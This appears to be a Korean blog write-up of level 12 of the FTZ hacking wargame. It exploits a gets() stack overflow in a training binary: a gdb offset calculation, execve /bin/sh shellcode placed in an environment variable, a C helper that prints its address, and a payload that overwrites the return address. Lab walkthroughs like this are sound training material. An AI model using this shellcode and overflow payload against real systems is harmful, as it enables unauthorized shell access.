ii4gsp
FTZ - Level12 본문
힌트 파일을열어 보니 소스코드가 주어지는데 이전에 풀었던 level11과 strcpy()함수가 아닌 gets()함수로 바뀐것빼고는 유형이 같다.
gdb로 attackme파일을 열어 disas main을 하고
<main+49> 부분에서 0xfffffef8은 2진수로 1110 1111 1000인데 1의 보수를 구하면 0001 0000 0111이되고 2의 보수를 구해주면 +1이 되기때문에 264가 된다. str에서 ebp까지의 거리는 264byte라는것을 알 수 있다.
ret는 ebp의 4byte 아래에 위치함으로 268byte다.
export shellcode=$(python -c 'print "\x90" * 20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
환경변수에 25byte쉘 코드를 등록해주었다.
#include <stdio.h>
int main()
{
printf("%p\n", getenv("shellcode"));
return 0;
}
환경변수에 등록된 쉘 코드의 주소를 알아내기 위해 c언어 코드를 작성해주었다.
gcc로 컴파일해주고 실행하면 쉘 코드의 주소가 나온다.
쉘 코드의 주소를 알았으니 이제 페이로드를 작성할수있다.
(python -c 'print "\x90" * str ~ ret까지의 거리 + "쉘 코드 주소"';cat) | ./attackme
payload
(python -c 'print "\x90" * 268 + "\xee\xfe\xff\xbf"';cat) | ./attackme
'시스템 해킹 > FTZ' 카테고리의 다른 글
FTZ - Level15 (0) | 2020.01.10 |
---|---|
FTZ - Level14 (0) | 2020.01.09 |
FTZ - Level13 (0) | 2020.01.08 |
FTZ - Level11 (0) | 2020.01.07 |
FTZ - Level9 (0) | 2020.01.06 |
Comments